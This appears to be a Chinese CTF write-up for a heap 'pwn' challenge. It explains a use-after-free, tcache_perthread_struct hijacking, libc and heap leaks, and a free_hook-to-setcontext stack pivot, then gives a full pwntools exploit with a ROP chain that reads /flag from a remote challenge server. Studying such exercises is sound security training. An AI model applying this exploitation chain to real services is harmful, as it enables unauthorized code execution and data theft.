题目

题目链接

checksec

这是什么鸭

全开

IDA

main

这是什么鸭

菜单题

initbuf

这是什么鸭

有沙箱,需要 orw

allocate

这是什么鸭

同一时间只能掌控一个 chunk ,最大为 0x78

edit

这是什么鸭

show

这是什么鸭

用于 leak

delete

这是什么鸭

有 UAF

攻击思路

挺棘手的,这道题目没有任何 leak pie 和 leak stack 的手段,只能 leak libc 和 leak heap

利用 UAF 和 tcache 机制我们可以轻松 leak heap ,并把 tcache_pthread_struct 扔进 unsorted_bin 以 leak libc ,同时还可以保留 tcache_pthread_struct 的写入权限

劫持到 tcache_pthread_struct 后有一个好处: 我们获得了 tcache_entries 的控制权,这意味着我们可以轻松指定下一次指定大小的 chunk 的分配地址,这有利于我们布置 rop 链以及接下来的 setcontext 技巧

由于我们没办法直接劫持程序流程,而且要实现 orw 的话直接劫持 free_hook 不够(参数个数原因),因此我们考虑栈迁移并构造 rop 链

我们将栈迁移的目标设置在堆上,而要实现栈迁移,我们可以将 free_hook 劫持为 setcontext + 0x35 ,传入的 rdi 为寄存器布局的地址,即可实现类似 srop 的效果

setcontext

这是什么鸭

这里第一个 rcx 即 rip

接下来我使用了一点小巧思:我们不直接写入 orw 的 rop 链,因为这样太长,需要分段写入,所以我们可以先调用 read syscall 在 rsp 的目标地址一次性写入 rop 链

因此我们需要操纵的寄存器有

1
2
3
4
5
6
rax = 0
rdi = 0
rsi = heap_addr + rop_offset
rdx = 0x400
rsp = heap_addr + rop_offset
rip = syscall_ret_addr

然后在新获得的写入机会中写入完整的 orw 攻击链即可拿到 flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
io = process('./silverwolf_patched')
else:
io = remote('node4.anna.nssctf.cn', 22853)

def allocate(size):
io.sendlineafter(b'Your choice: ', b'1')
io.sendlineafter(b'Index: ', b'0')
io.sendlineafter(b'Size: ', str(size).encode())

def edit(content):
io.sendlineafter(b'Your choice: ', b'2')
io.sendlineafter(b'Index: ', b'0')
io.sendlineafter(b'Content: ', content)

def show():
io.sendlineafter(b'Your choice: ', b'3')
io.sendlineafter(b'Index: ', b'0')

def delete():
io.sendlineafter(b'Your choice: ', b'4')
io.sendlineafter(b'Index: ', b'0')

def exit():
io.sendlineafter(b'Your choice: ', b'5')

def attack():
allocate(0x78)
delete()
show()
io.recvuntil(b'Content: ')
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x11b0
log.info(f'heap_base = {hex(heap_base)}')

edit(p64(heap_base + 0x10) + p64(0))
allocate(0x78)
allocate(0x78)
edit((p8(0) * 35 + p8(7)).ljust(0x40 - 1, p8(0)))
delete()
show()
io.recvuntil(b'Content: ')
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x3ebca0
log.info(f'libc_base = {hex(libc_base)}')

free_hook = 0x3ed8e8 + libc_base
setcontext = 0x521b5 + libc_base
xor_rax_ret = 0xb15a5 + libc_base
pop_rdx_pop_rsi_ret = 0x130569 + libc_base
syscall_ret = 0xd2745 + libc_base
pop_rax_ret = 0x43ae8 + libc_base
pop_rdi_ret = 0x215bf + libc_base
stack_pivoting0 = 0x10000 + heap_base
stack_pivoting1 = 0x10000 + heap_base + 0x70
stack_pivoting2 = 0x10000 + heap_base + 0xa0
edit(p8(0) * 0x40 + p64(free_hook - 0x8) + p64(stack_pivoting2) + p64(stack_pivoting1) + p64(stack_pivoting0))
allocate(0x18)
edit(b'/flag\x00\x00\x00' + p64(setcontext))
log.info(f'free_hook_addr = {hex(free_hook)}')
log.info(f'set_context_addr = {hex(setcontext)}')

allocate(0x28)
srop2 = flat([
p64(heap_base + 0x58),
p64(syscall_ret)])
edit(srop2)

allocate(0x38)
srop1 = flat([
p64(heap_base + 0x58),
p64(0) * 2,
p64(0x400)])
edit(srop1)

allocate(0x48)
delete()

orw = flat([
p64(pop_rdi_ret),
p64(free_hook - 0x08),
p64(pop_rdx_pop_rsi_ret),
p64(0),
p64(0),
p64(pop_rax_ret),
p64(2),
p64(syscall_ret),
p64(pop_rdi_ret),
p64(3),
p64(pop_rdx_pop_rsi_ret),
p64(0x100),
p64(heap_base + 0x300),
p64(xor_rax_ret),
p64(syscall_ret),
p64(pop_rdi_ret),
p64(1),
p64(pop_rdx_pop_rsi_ret),
p64(0x100),
p64(heap_base + 0x300),
p64(pop_rax_ret),
p64(1),
p64(syscall_ret)])
io.send(orw)

io.interactive()

attack()